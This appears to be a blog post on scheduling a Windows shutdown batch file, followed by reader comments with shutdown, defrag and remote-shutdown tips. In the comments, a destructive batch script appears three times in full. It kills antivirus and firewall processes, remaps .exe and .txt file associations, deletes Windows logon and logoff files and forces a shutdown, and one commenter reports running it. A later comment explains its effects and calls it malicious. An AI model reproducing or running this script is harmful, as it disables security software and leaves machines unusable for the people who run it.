Why Shut the Computer Down Later?
I have my computer set to defragment itself at 2am but I don’t want it running all night! So, I wrote a batch file that will shutdown the computer and set a Scheduled Task (in the Control Panel) to run the file at 3am.
How To Use The Task Scheduler To Shut the Computer Down At A Later Time
Create a new batch file and write a shutdown command. All you really need is:
cd\
shutdown -s -t 60
I set the “-t” switch just in case I am on the computer and need to cancel it (I shouldn’t be on it at 3am, but you never know). At this point, you should test the file to make sure it’s working.
Save the file, I prefer to save my batch files in the Programs Files folder in the c:\ drive. They are program after all!
Schedule The Task
- Navigate to: Control Panel -> Scheduled Tasks -> Add Scheduled Task

- Hit Next in the dialog box that opens.
- In the second screen, navigate to the location of the file.

- We’ll set this to only run one time, we can change this later (in the Advanced Properties) if we want.

- Enter the time and date you want it to run.

- In the next screen, enter in the user name and the password.

- Hit Finish and you’re done!

You can go into the Advanced Properties, but you don’t really need to.
THANKS FOR THIS
And to cancel shutdown countdown enter this at Start | Run or at cmd prompt:
shutdown -a
You’re right – Thanks for the tip!
it dos not work in XP
It absolutely works in Windows XP Pro – I haven’t checked “Home” because it’s a joke – also, check to make sure that you followed the directions correctly!
yeha it doesnt work in home
i have it and it says it couldnt be done
It dose work in home. I am using it now.
Be sure that you type it like this
cd\
shutdown -s -t 60
using word pad or note pad then save it as a .bat file.
the easiest way to solve such a defrag-problem is to run the defrag with a batchfile, and then to let the computer shut down by the same batch.
could look like this:
@echo off
defrag c: -f
defrag d: -f
defrag e: -f
.
.
.
defrag xy: -v
shutdown -s -t 5
first it defrags the c-drive, after that the d-drive …blah blah
the ‘-f’ forces to do the defrag, a ‘-v’ instead is for ‘volunteer’. then windows only defrags, when it is needful. (if it is not needful, it makes strange errors, which are absolutely harmless) so the ‘-f’ is better.
after having defrag’d the drives windows shuts itself down. in this case here after 5 seconds, could be 0 or three, or fivehundred…, too.
sorry for third-class-english,
jaunda…
Though I didn’t see anyone asking about defragmentation, you are right! Also, I did write an article on this as part of my Start Your Day With A Fresh Computer series, which you can read here: Step Three: Automate Hard Drive Defragmentation.
We can also use shutdown -a for shut other p.cs. which are abaivl in network.
Usage:>shutdown [-s| -r| -a] [-f] [-m \\computername] [-t xx]
-s Shutdown the computer
-r Shutdown and restart the computer
-a Abort a system shutdown
-f Forces running applications to close without warning
-m \\computername Remote computer to shutdown/restart/abort
-t xx Set timeout for shutdown to xx seconds
>shutdown -s -m \\OtherComputername -t 30
this will shutdown OtherComputername in 30 seconds
i do that command but the error message say is accessed is denied, how do i shutdown another pc in a network can u please help me dude.thanks
Does anyone know how to write at file tore-start windows xp? I would like to restart my laptop once a week/daily.
Arif,
Check out this post: Automaticaly Reboot Your Computer. It should be just what you’re looking for!
how do i set it to more tyhan 99 seconds?
Mohamaed, just enter in the time as a number of seconds (number x 60):
kk thanx
I’m thinking this is a dumb question but is their any way to set a task to start up your computer without it running??
I’m not sure if I understand… Do you want the computer to automatically launch an application on start up?
Hi there,
I am sorry if this is in the wrong section but i wanted to ask a few questions about the following:
DO NOT TYPE THIS INTO CMD IT WILL MESS UP YOUR COMPUTER!!!!!
title Be careful
color 0A
@echo off
set end=md "Hack installing"
set fin=copy "Hack log.txt" "Installing"
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked....
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown -s
Ok not a very nice piece… now my question is does this actually work?
You’re right, it does look a little nasty and I’m not willing to try it out! I suggest you set up a virtual machines and test it out.
Virtual machine?
Would you advise me on how to do that…
hello everybody
i tried the
title Be careful
color 0A
@echo off
set end=md “Hack installing”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked….
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown -s
and i tried to restart my laptop and press f8 ,m chosse safe mode using cmd
and i write assoc .exe=txtfile
assoc .txt=mp3file
but it is not working, still have cmd open everything my msn , skype …all programs
so, what should i do????
thx.
@echo off
set end=md “Hack installing”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked….
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown -s
i really wanna know does it work really, plz let me know salman……….
Try it on your own machine dummy.
I wanted to know if there is any way to create a batchfile to restart the Computer when the User has loged out from the User Account?
@ Rafe
This batch file is a little flawed but ultimately it attmepts to delete your ability to first logoff in the usual way i.e. Start–> shutdown –> restart (XP) and worse prevents you from logging into the machine (you will see the log on page, enter your credentials, click ok and the machine will immediately state it’s “logging off”) – that is the worst part of this batch file.
Other effects include killing explorer, Zone Alarm and what looks like Norton (although I may be wrong).
This is an entirely malicious script, where did you obtain it?